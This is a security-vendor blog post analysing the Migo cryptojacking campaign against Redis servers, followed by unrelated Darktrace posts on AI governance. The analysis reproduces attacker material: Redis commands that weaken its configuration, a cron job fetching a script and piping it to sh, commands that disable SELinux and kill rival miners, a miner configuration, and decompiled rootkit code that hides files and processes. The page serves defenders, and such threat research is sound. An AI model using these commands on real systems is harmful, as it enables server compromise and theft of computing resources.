Blog
/
/
February 20, 2024

Migo: A Redis Miner with Novel System Weakening Techniques

Migo is a cryptojacking campaign targeting Redis servers, that uses novel system-weakening techniques for initial access. It deploys a Golang ELF binary for cryptocurrency mining, which employs compile-time obfuscation and achieves persistence on Linux hosts. Migo also utilizes a modified user-mode rootkit to hide its processes and on-disk artifacts, complicating analysis and forensics.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community
Default blog image
20
Feb 2024

Introduction: Migo

Researchers from Cado Security Labs (now part of Darktrace) encountered a novel malware campaign targeting Redis for initial access. Whilst Redis is no stranger to exploitation by Linux and cloud-focused attackers, this particular campaign involves the use of a number of novel system weakening techniques against the data store itself. 

The malware, named Migo by the developers, aims to compromise Redis servers for the purpose of mining cryptocurrency on the underlying Linux host. 

Summary:

  • New Redis system weakening commands have been observed in the wild
  • The campaign utilizes these commands to exploit Redis to conduct a cryptojacking attack
  • Migo is delivered as a Golang ELF binary, with compile-time obfuscation and the ability to persist on Linux hosts
  • A modified version of a popular user mode rootkit is deployed by the malware to hide processes and on-disk artefacts

Initial access

Cado researchers were first alerted to the Migo campaign after noticing an unusual series of commands targeting a Redis honeypot. 

A malicious node at the IP 103[.]79[.]118[.]221 connected to the honeypot and disabled the following configuration options using the Redis command line interface’s (CLI) config set feature:

  • set protected-mode
  • replica-read-only
  • aof-rewrite-incremental-fsync
  • rdb-save-incremental-fsync

Discussing each of these in turn will shed some light on the threat actor’s motivation for doing so.

Set protected-mode

Protected mode is an operating mode of the Redis server that’s designed as a mitigation for users who may have inadvertently exposed the server to external networks. [1]

Introduced in version 3.2.0, protected mode is engaged when a Redis server has been deployed in the default configuration (i.e. bound to all networking interfaces) without having password authentication enabled. In this mode, the Redis server will only accept connections from the loopback interface, any other connections will receive an error.

Given that the threat actor does not have access to the loopback interface and is instead attempting to connect externally, this command should automatically fail on Redis servers with protected mode enabled. It’s possible the attacker has misunderstood this feature and is trying to issue a number of system weakening commands in an opportunistic manner. 

This feature is disabled in Cado’s honeypot environment, which is why these commands and additional actions on objective succeed.

Redis honeypot sensor
Figure 1: Disable protected mode command observed by a Redis honeypot sensor

Replica-read-only

As the name suggests, the replica-read-only feature configures Redis replicas (exact copies of a master Redis instance) to reject all incoming write commands [2][3]. This configuration parameter is enabled by default, to prevent accidental writes to replicas which could result in the master/replica topology becoming out of sync.

Cado researchers have previously reported on exploitation of the replication feature being used to deliver malicious payloads to Redis instances. [4] The threat actors behind Migo are likely disabling this feature to facilitate future exploitation of the Redis server.

honeypot sensor
Figure 2: Disable aof-rewrite-incremental-fsync command observed by a Redis honeypot sensor

After disabling these configuration parameters, the threat actor used the set command to set the values of two separate Redis keys. One key is assigned a string value corresponding to a malicious threat actor-controlled SSH key, and the other to a Cron job that retrieves the malicious primary payload from Transfer.sh (a relatively uncommon distribution mechanism previously covered by Cado) via Pastebin [5].

The threat actors will then follow-up with a series of commands to change the working directory of Redis itself, before saving the contents of the database. If the working directory is one of the Cron directories, the file will be parsed by crond and executed as a normal Cron job.  This is a common attack pattern against Redis servers and has been previously documented by Cado and others[6][7]

honeypot sensor
Figure 3: Abusing the set command to register a malicious Cron job

As can be seen above, the threat actors create a key named mimigo and use it to register a Cron job that first checks whether a file exists at /tmp/.xxx1. If not, a simple script is retrieved from Pastebin using either curl or wget, and executed directly in memory by piping through sh.

Pastebin script
Figure 4: Pastebin script used to retrieve primary payload from transfer.sh

This in-memory script proceeds to create an empty file at /tmp/.xxx1 (an indicator to the previous stage that the host has been compromised) before retrieving the primary payload from transfer.sh. This payload is saved as /tmp/.migo, before being executed as a background task via nohup.

Primary payload – static properties

The Migo primary payload (/tmp/.migo) is delivered as a statically-linked and stripped UPX-packed ELF, compiled from Go code for the x86_64 architecture. The sample uses vanilla UPX packing (i.e. the UPX header is intact) and can be trivially unpacked using upx -d. 

After unpacking, analysis of the .gopclntab section of the binary highlights the threat actor’s use of a compile-time obfuscator to obscure various strings relating to internal symbols. You might wonder why this is necessary when the binary is already stripped, the answer lies with a feature of the Go programming language named “Program Counter Line Table (pclntab)”. 

In short, the pclntab is a structure located in the .gopclntab section of a Go ELF binary. It can be used to map virtual addresses to symbol names, for the purposes of generating stack traces. This allows reverse engineers the ability to recover symbols from the binary, even in cases where the binary is stripped.  

The developers of Migo have since opted to further protect these symbols by applying additional compile-time obfuscation. This is likely to prevent details of the malware’s capabilities from appearing in stack traces or being easily recovered by reverse engineers.

gopclntab section
Figure 5: Compile-time symbol obfuscation in gopclntab section

With the help of Interactive Disassembler’s (IDA’s) function recognition engine, we can see a number of Go packages (libraries) used by the binary. This includes functions from the OS package, including os/exec (used to run shell commands on Linux hosts), os.GetEnv (to retrieve the value of a specific environment variable) and os.Open to open files. [8, 9]

OS library functions
 Figure 6: Examples of OS library functions identified by IDA

Additionally, the malware includes the net package for performing HTTP requests, the encoding/json package for working with JSON data and the compress/gzip package for handling gzip archives.

Primarily payload – capabilities

Shortly after execution, the Migo binary will consult an infection marker in the form of a file at /tmp/.migo_running. If this file doesn’t exist, the malware creates it, determines its own process ID and writes the file. This tells the threat actors that the machine has been previously compromised, should they encounter it again.

newfstatat(AT_FDCWD, "/tmp/.migo_running", 0xc00010ac68, 0) = -1 ENOENT (No such file or directory) 
    getpid() = 2557 
    openat(AT_FDCWD, "/tmp/.migo_running", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 6 
    fcntl(6, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 6, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473793, u64=9169307754234380289}}) = -1 EPERM (Operation not permitted) 
    fcntl(6, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(6, "2557", 4)  = 4 
    close(6) = 0 

Migo proceeds to retrieve the XMRig installer in tar.gz format directly from Github’s CDN, before creating a new directory at /tmp/.migo_worker, where the installer archive is saved as /tmp/.migo_worker/.worker.tar.gz.  Naturally, Migo proceeds to unpack this archive and saves the XMRig binary as /tmp/.migo_worker/.migo_worker. The installation archive contains a default XMRig configuration file, which is rewritten dynamically by the malware and saved to /tmp/.migo_worker/.migo.json.

openat(AT_FDCWD, "/tmp/.migo_worker/config.json", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 9 
    fcntl(9, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 9, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473930, u64=9169307754234380426}}) = -1 EPERM (Operation not permitted) 
    fcntl(9, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(9, "{\n \"api\": {\n \"id\": null,\n \"worker-id\": null\n },\n \"http\": {\n \"enabled\": false,\n \"host\": \"127.0.0.1\",\n \"port"..., 2346) = 2346 
    newfstatat(AT_FDCWD, "/tmp/.migo_worker/.migo.json", 0xc00010ad38, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory) 
    renameat(AT_FDCWD, "/tmp/.migo_worker/config.json", AT_FDCWD, "/tmp/.migo_worker/.migo.json") = 0 

An example of the XMRig configuration used as part of the campaign (as collected along with the binary payload on the Cado honeypot) can be seen below:

{ 
     "api": { 
     "id": null, 
     "worker-id": null 
     }, 
     "http": { 
     "enabled": false, 
     "host": "127.0.0.1", 
     "port": 0, 
     "access-token": null, 
     "restricted": true 
     }, 
     "autosave": true, 
     "background": false, 
     "colors": true, 
     "title": true, 
     "randomx": { 
     "init": -1, 
     "init-avx2": -1, 
     "mode": "auto", 
     "1gb-pages": false, 
     "rdmsr": true, 
     "wrmsr": true, 
     "cache_qos": false, 
     "numa": true, 
     "scratchpad_prefetch_mode": 1 
     }, 
     "cpu": { 
     "enabled": true, 
     "huge-pages": true, 
     "huge-pages-jit": false, 
     "hw-aes": null, 
     "priority": null, 
     "memory-pool": false, 
     "yield": true, 
     "asm": true, 
     "argon2-impl": null, 
     "argon2": [0, 1], 
     "cn": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-heavy": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-lite": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-pico": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "cn/upx2": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "ghostrider": [ 
     [8, 0], 
     [8, 1] 
     ], 
     "rx": [0, 1], 
     "rx/wow": [0, 1], 
     "cn-lite/0": false, 
     "cn/0": false, 
     "rx/arq": "rx/wow", 
     "rx/keva": "rx/wow" 
     }, 
     "log-file": null, 
     "donate-level": 1, 
     "donate-over-proxy": 1, 
     "pools": [ 
     { 
     "algo": null, 
     "coin": null, 
     "url": "xmrpool.eu:9999", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.hashvault.pro:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": "XMR", 
     "url": "xmr-jp1.nanopool.org:14433", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": false, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.supportxmr.com:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     } 
     ], 
     "retries": 5, 
     "retry-pause": 5, 
     "print-time": 60, 
     "dmi": true, 
     "syslog": false, 
     "tls": { 
     "enabled": false, 
     "protocols": null, 
     "cert": null, 
     "cert_key": null, 
     "ciphers": null, 
     "ciphersuites": null, 
     "dhparam": null 
     }, 
     "dns": { 
     "ipv6": false, 
     "ttl": 30 
     }, 
     "user-agent": null, 
     "verbose": 0, 
     "watch": true, 
     "pause-on-battery": false, 
     "pause-on-active": false 
    } 

With the miner installed and an XMRig configuration set, the malware proceeds to query some information about the system, including the number of logged-in users (via the w binary) and resource limits for users on the system. It also sets the number of Huge Pages available on the system to 128, using the vm.nr_hugepages parameter. These actions are fairly typical for cryptojacking malware. [10]

Interestingly, Migo appears to recursively iterate through files and directories under /etc. The malware will simply read files in these locations and not do anything with the contents. One theory, based on this analysis, is that this could be a (weak) attempt to confuse sandbox and dynamic analysis solutions by performing a large number of benign actions, resulting in a non-malicious classification. It’s also possible the malware is hunting for an artefact specific to the target environment that’s missing from our own analysis environment. However, there was no evidence of this recovered during our analysis.

Once this is complete, the binary is copied to /tmp via the /proc/self/exe symlink ahead of registering persistence, before a series of shell commands are executed. An example of these commands is listed below.

/bin/chmod +x /tmp/.migo 
    /bin/sh -c "echo SELINUX=disabled > /etc/sysconfig/selinux" 
    /bin/sh -c "ls /usr/local/qcloud/YunJing/uninst.sh || ls /var/lib/qcloud/YunJing/uninst.sh" 
    /bin/sh -c "ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh || ls /usr/local/qcloud/stargate/admin/uninstall.sh" 
    /bin/sh -c command -v setenforce 
    /bin/sh -c command -v systemctl 
    /bin/sh -c setenforce 0o 
    go_worker --config /tmp/.migo_worker/.migo.json 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /home" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /root" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /tmp" 
    bash -c "systemctl start system-kernel.timer && systemctl enable system-kernel.timer" 
    iptables -A OUTPUT -d 10.148.188.201 -j DROP 
    iptables -A OUTPUT -d 10.148.188.202 -j DROP 
    iptables -A OUTPUT -d 11.149.252.51 -j DROP 
    iptables -A OUTPUT -d 11.149.252.57 -j DROP 
    iptables -A OUTPUT -d 11.149.252.62 -j DROP 
    iptables -A OUTPUT -d 11.177.124.86 -j DROP 
    iptables -A OUTPUT -d 11.177.125.116 -j DROP 
    iptables -A OUTPUT -d 120.232.65.223 -j DROP 
    iptables -A OUTPUT -d 157.148.45.20 -j DROP 
    iptables -A OUTPUT -d 169.254.0.55 -j DROP 
    iptables -A OUTPUT -d 183.2.143.163 -j DROP 
    iptables -C OUTPUT -d 10.148.188.201 -j DROP 
    iptables -C OUTPUT -d 10.148.188.202 -j DROP 
    iptables -C OUTPUT -d 11.149.252.51 -j DROP 
    iptables -C OUTPUT -d 11.149.252.57 -j DROP 
    iptables -C OUTPUT -d 11.149.252.62 -j DROP 
    iptables -C OUTPUT -d 11.177.124.86 -j DROP 
    iptables -C OUTPUT -d 11.177.125.116 -j DROP 
    iptables -C OUTPUT -d 120.232.65.223 -j DROP 
    iptables -C OUTPUT -d 157.148.45.20 -j DROP 
    iptables -C OUTPUT -d 169.254.0.55 -j DROP 
    iptables -C OUTPUT -d 183.2.143.163 -j DROP 
    kill -9 
    ls /usr/local/aegis/aegis_client 
    ls /usr/local/aegis/aegis_update 
    ls /usr/local/cloudmonitor/cloudmonitorCtl.sh 
    ls /usr/local/qcloud/YunJing/uninst.sh 
    ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh 
    ls /usr/local/qcloud/stargate/admin/uninstall.sh 
    ls /var/lib/qcloud/YunJing/uninst.sh 
    lsattr /etc/cron.d/0hourly 
    lsattr /etc/cron.d/raid-check 
    lsattr /etc/cron.d/sysstat 
    lsattr /etc/crontab 
    sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1" 
    sh -c "ps -ef | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep ddgs | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep f2poll | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hashfish | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep t00ls.ru | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep xmrig | awk '{print $2}' | xargs kill -9" 
    systemctl start system-kernel.timer 
    systemctl status firewalld 

In summary, they perform the following actions:

  • Make the copied version of the binary executable, to be executed via a persistence mechanism
  • Disable SELinux and search for uninstallation scripts for monitoring agents bundled in compute instances from cloud providers such as Qcloud and Alibaba Cloud
  • Execute the miner and pass the dropped configuration into it
  • Configure iptables to drop outbound traffic to specific IPs
  • Kill competing miners and payloads from similar campaigns
  • Register persistence via the systemd timer system-kernel.timer

Note that these actions are consistent with prior mining campaigns targeting East Asian cloud providers analyzed by Cado researchers [11].

Migo will also attempt to prevent outbound traffic to domains belonging to these cloud providers by writing the following lines to /etc/hosts, effectively creating a blackhole for each of these domains. It’s likely that this is to prevent monitoring agents and update software from contacting these domains and triggering any alerts that might be in place. 

This also gives some insight into the infrastructure targeted by the malware, as these domains belong to the same cloud service providers as we discussed previously.

modified contents
Figure 7: Modified contents of /etc/hosts

Persistence

As seen in the commands above, Migo achieves persistence on the target host via the use of a systemd service and associated systemd timer. These are named system-kernel.timer and system-kernel.service respectively. 

The service unit is straightforward, it simply ensures the Migo payload is executable before invoking it. The malware also configures the allowed number of open file descriptors (via the LimitNOFILE parameter) and increases the CPU shares weighting to 1000000, allowing the miner to fully utilize the CPU.

example contents
Figure 8: Example contents of system-kernel.service

This service is controlled by an associated systemd timer, allowing it to be executed 5 seconds after the machine boots, and executed again every five seconds following that [12]. This, in combination with the infection marker mentioned previously, ensures the miner is kept running and can effectively contribute to the mining pool.

Example contents
Figure 9: Example contents of system-kernel.timer

Process hiding

Interestingly, Migo will attempt to hide on-disk artefacts dropped by itself via the use of a user mode rootkit. These artefacts include the contents /tmp/.migo_worker directory, where the malware stores the miner and configuration file, as well as the main payload located at /tmp/.migo. 

To achieve this, the malware updates /etc/ld.so.preload to point at a Linux shared object file located at /usr/local/lib/libsystemd.so, effectively conducting Dynamic Linker hijacking on the Redis host. [13] This shared object is embedded within the Migo primary payload and is extracted at runtime.

 if ( !original_readdir ) 
     { 
     original_readdir = dlsym(0xFFFFFFFFFFFFFFFFLL, "readdir"); 
     if ( !original_readdir ) 
     { 
     v1 = dlerror(); 
     fprintf(stderr, aDlsym_0, v1); 
     } 
     } 
     do 
     v5 = original_readdir(a1); 
     while ( v5 
     && (get_dir_name(a1, s1, 256LL) 
     && !strcmp(s1, "/proc") 
     && get_process_name(v5 + 19, v4) 
     && should_hide_entry(v4, &hiddenProcesses, 3LL) 
     || should_hide_entry(v5 + 19, hiddenFiles, 4LL) 
     || *(v5 + 18) == 4 && should_hide_entry(v5 + 19, &hiddenDirectories, 1LL)) ); 
     return v5; 
    } 

Decompiler output for the process and file hiding functionality in libsystemd.so

libsystemd.so is a process hider based on the open source libprocesshider project, seen frequently in cryptojacking campaigns. [14, 15] With this shared object in place, the malware intercepts invocations of file and process listing tools (ls, ps, top etc) and hides the appropriate lines from the tool’s output.

Examples of hardcoded artefacts
Figure 10: Examples of hardcoded artefacts to hide

Conclusion

Migo demonstrates that cloud-focused attackers are continuing to refine their techniques and improve their ability to exploit web-facing services. The campaign utilized a number of Redis system weakening commands, in an attempt to disable security features of the data store that may impede their initial access attempts. These commands have not previously been reported in campaigns leveraging Redis for initial access. 

The developers of Migo also appear to be aware of the malware analysis process, taking additional steps to obfuscate symbols and strings found in the pclntab structure that could aid reverse engineering. Even the use of Go to produce a compiled binary as the primary payload, rather than using a series of shell scripts as seen in previous campaigns, suggests that those behind Migo are continuing to hone their techniques and complicate the analysis process. 

In addition, the use of a user mode rootkit could complicate post-incident forensics of hosts compromised by Migo. Although libprocesshider is frequently used by cryptojacking campaigns, this particular variant includes the ability to hide on-disk artefacts in addition to the malicious processes themselves.

Indicators of compromise (IoC)

File SHA256

/tmp/.migo (packed) 8cce669c8f9c5304b43d6e91e6332b1cf1113c81f355877dabd25198c3c3f208

/tmp/.migo_worker/.worker.tar.gz c5dc12dbb9bb51ea8acf93d6349d5bc7fe5ee11b68d6371c1bbb098e21d0f685

/tmp/.migo_worker/.migo_json 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

/tmp/.migo_worker/.migo_worker (XMRig) 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c

system-kernel.service 5dc4a48ebd4f4be7ffcf3d2c1e1ae4f2640e41ca137a58dbb33b0b249b68759e

system-kernel.service 76ecd546374b24443d76c450cb8ed7226db84681ee725482d5b9ff4ce3273c7f

libsystemd.so 32d32bf0be126e685e898d0ac21d93618f95f405c6400e1c8b0a8a72aa753933

IP addresses

103[.]79[.]118[.]221

References

  1. https://redis.io/docs/latest/operate/oss_and_stack/management/security/#protected-mode
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/#read-only-replica
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/
  1. https://www.cadosecurity.com/blog/redis-p2pinfect
  1. https://www.cadosecurity.com/blog/redis-miner-leverages-command-line-file-hosting-service
  1. https://www.cadosecurity.com/blog/kiss-a-dog-discovered-utilizing-a-20-year-old-process-hider
  1. https://www.trendmicro.com/en_ph/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html
  1. https://pkg.go.dev/os
  1. https://pkg.go.dev/os/exec
  1. https://www.crowdstrike.com/en-us/blog/2021-cryptojacking-trends-and-investigation-recommendations/  
  1. https://www.cadosecurity.com/blog/watchdog-continues-to-target-east-asian-csps
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://github.com/gianlucaborello/libprocesshider
  1. https://www.cadosecurity.com/blog/abcbot-an-evolution-of-xanthe

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

More in this series

No items found.

Blog

/

/

September 17, 2026

The Problem of Re-defining Human Value in the Agentic Age

Default blog imageDefault blog image

Newsfeeds are constantly informing us about the rapid escalation of agentic AI systems. These systems move far beyond simple machine-based computations, and  the focused, defined and bounded assistance that most AI systems started out as.

The next evolution of AI will harness the agentic properties of orchestration, automation, and heightened value-chains in IT, taking on the burden of workflow management, not just workflow delivery.

In nearly all of these instances, promises are made such as ‘this will free up human time’ or ‘this will allow people to focus on higher-order strategy’. However that message is delivered, one thing is clear: in ceding the orchestration and management of work to increasingly sophisticated AI agents and agentic systems, human value will be elevated to a particular and specific layer: the ability to judge its outputs.  As AI takes on more tasks, humans should be able to focus on a higher level of governance; making sure the decisions that AI offers us are ethical, responsible and worthwhile.  

But there are two major problems with that approach.

This blog discusses the problem of how Agentic systems are re-shaping how we review information, where we fit in, and when we make decisions.  It also discusses the problem of how the increased flow of confident, generated information affects the way we make judgement.  This blog considers how human judgement needs to adapt, and how a behavioral defense approach – using techniques pioneered by Darktrace – can help us do that.

The challenge of knowing where human judgement belongs

As we confer more automated decision-making to agentic systems, it might look increasingly less like ‘granting permissions’, and more like ‘surrendering authority’.  

The judgement layer for AI-generated work is not a fixed boundary. We have become used to the idea of a ‘human in the loop’ (HITL) and, historically, relationships between humans and IT systems were reasonably clear and bounded.  Computer and software systems were programmed to carry out certain tasks or automated functions, and humans could control the gates and decision points where actions were undertaken. Even across highly complex computational workflows, human interaction was a controllable node within the process; we were able to configure and regulate. But in the agentic age, where that human interaction sits, and what it can influence shifts every time AI systems are granted autonomy.  

This leads us to the first problem: if humans are moving themselves (or are being moved) into the ‘judgement’ part of the value chain, exactly where and when do we exercise that judgement?  

Humans are no longer the sole shepherds of computer-based or software-controlled outputs.  We are at times at least one step further (and slower) behind the new agentic shepherds.  We might also be blind to what they are doing.  Not only might we be removed and blind to the actions of our AI shepherds, but with the challenge of unknown, unapproved AI systems operating beyond our control, humans might not even know that our work is being shepherded by an AI at all.  Simply put, with the advent of greater levels of autonomy and orchestration, humans are at risk of not even knowing where to apply our newly-extended powers of strategic judgement.

Shadow AI – the use of unapproved AI systems or processes – is a growing threat to the role of effective governance and oversight. Shadow AI isn't just the AI you can't see. Its the AI you already know about being used in an unapproved way. The ability to generate effective oversight of the AI systems you use (or that are used on your behalf) will be increasingly important to ensure that human judgement in the AI value chain is effective, and deliberately placed.

The problem of what makes good judgement

The second problem lies in how flawed human judgement can be.  Humans are historically, notoriously, and, sometimes dangerously, unreliable when it comes to exercising judgement.  Humans are prone to the worst kinds of bias, the seduction of malign influence, and the sometimes-overwhelming urge to succeed. AI has long had a known flaw of operating with sycophancy, providing outputs that tend to agree with or flatter the human user.  But as AI grows ever more effective, there is a risk of both hyper-enablement (where humans increasingly and knowingly enable AI despite potential harm), as well as the greater risk of suggestion. Both of these aspects could skew the newly-elevated input of human judgement.

Imagine a highly competent AI system that has just orchestrated and managed a dizzying array of processes and workflows.  The AI is designed to present the human decision-maker with recommendations; based on analysis, comparison and other programmed factors.  This is where the human judgement layer is enabled.  But what if that judgement is summarily diffused by an AI-based recommendation that emulates the decision, provides plausible but unattractive alternatives, then suggests (or, worse, directs) the human end-user to take a particular course of action.

The risk here is that you are given a recommendation, tailored to your preferences (which the AI has learned, or which you have divulged), and which appears to make perfect sense.  It appears to be a well-weighted recommendation, with sound arguments that tap into our inherent biases or inclinations so that a specific decision-path is followed. With the growth of agentic systems specifically designed to match user profiles (from Cowork agents to ‘digital twin’ models), the likelihood of agentic influence could badly skew human judgement or, at the least, devalue the proposition that humans are taking a higher-layer of strategic control over AI-based decisions.

If AI convincingly recommends something that may be problematic, it can be difficult to discern both accurate data, and the context required to make the right judgement.

Given the two problems described above, the job of exercising valuable human judgement in the agentic age can draw down to these two questions:

  • When should humans intervene in the agentic process?  
  • How can we make the best possible judgement calls?

What humans contribute that AI cannot

For all the flaws that make human judgement unreliable, people have the edge over even the most sophisticated and powerful AI systems when it comes to issues such as ethics and social context.  An AI system can, with startling granularity, rank the value of adopting a new business proposal: offering predictive metrics on costs, returns, market value, time-to-deliver operations, conformance with legal registers, etc.  But it can’t tell if the business proposal is ethically sound, or if the business venture will potentially affect groups outside of the analyzed proposal. It can’t tell you if the CEO has a ‘bad feeling’ about this effort.  It can’t tell you if this is the right thing to do.  

The ability to add social context, balance complex interpersonal dynamics, understand nuance, and to go beyond what seems economically reasonable is where human judgement can add value.  

Human judgement is difficult to encapsulate in metrics. And the way we train our development may need to adapt too. Rather than building up a gradual, experiential knowledge base, we should think about training the skill of judgement itself; especially for an agentic age.

How behavioral security strengthens AI governance

If this all feels like a vicious circle (‘I need AI help to make good judgements’ / ‘AI can twist what I need to judge’) it needn’t be. The key to this is having a defense-in-depth approach, with tools that can actually help.

This is precisely where behavioral security becomes important. The complex and nuanced way that humans exercise judgement is often rooted in our ability to recognize behavior that doesn't look right. We may not always be able to articulate it immediately, but we can often identify when an action, recommendation, or outcome feels inconsistent with the context around it. As AI systems take on more responsibility across the decision chain, preserving that ability to recognize meaningful deviations becomes increasingly important.

Darktrace’s / SECURE AI is designed to do exactly that. It applies behavioral security to AI ecosystems, helping organizations understand how people, AI tools, identities, and agents interact across the business. By learning the patterns of normal AI usage and surfacing activity that deviates from those patterns, it provides security teams with the context needed to investigate risk, understand unusual behavior, and make informed governance decisions. Rather than relying solely on predefined rules or assumptions, this behavioral understanding helps organizations distinguish between expected AI activity and behavior that warrants closer scrutiny.

This matters because we are already in an era of information overload. If humans are expected to elevate their value through strategic judgement, the ability to do this without being overwhelmed by data (good or bad) will be critical.  

We need the ability to discern when we're being misled by AI, and whether our judgement calls are being made on the basis of accurate, contextual information. Darktrace / SECURE AI provides that additional layer of defensive security for activity we cannot easily see. Whether it is suspected Shadow AI or skewed recommendations, the net result is a protected organization, where users can more effectively use AI to make positive judgements.

For those where that judgement is a critical skill (both individuals, as well as those working in security teams), improving our metacognition - the ability to understand information in a broader context - will supercharge the value of human judgement. When those judgements are grounded in context rather than assumptions we have better information to make sound decisions.

Conclusion

Human judgement is a skill that is honed over time and experience.  Darktrace’s / SECURE AI employs the same principles, but at machine-speed. Rather than influencing or directing, Darktrace / SECURE AI offers AI-enabled assurance; providing human-based judgement with the right context to make a balanced decision.  

What we judge can be valued by the legitimacy of its outputs. For AI, those outputs are valued on the speed and accuracy of the information provided.  Increasingly for humans, the value of our outputs will be based on the validity of our judgement, and how we justify our decisions in ways that engineer confidence.  

Humans often know more than we can express, while AI is prone to expressing more than it truly understands. Humans can bridge the context AI often fails to appreciate. When that judgement is supported by relevant, impartial AI systems, this is the future space where good AI governance will be exercised.

Discover Darktrace / SECURE AI.

[related-resource]

Continue reading
About the author
Jason Lusted
AI Governance Advisor

Blog

/

/

September 4, 2026

Darktrace Advances Incident Investigation and AI-Agent Security with OpenAI Daybreak Models

Default blog imageDefault blog image

Earlier this year, Darktrace joined OpenAI’s Daybreak Defense Network to explore how their cyber capabilities can be integrated within Darktrace products and services to transform how security teams move from signal to action.

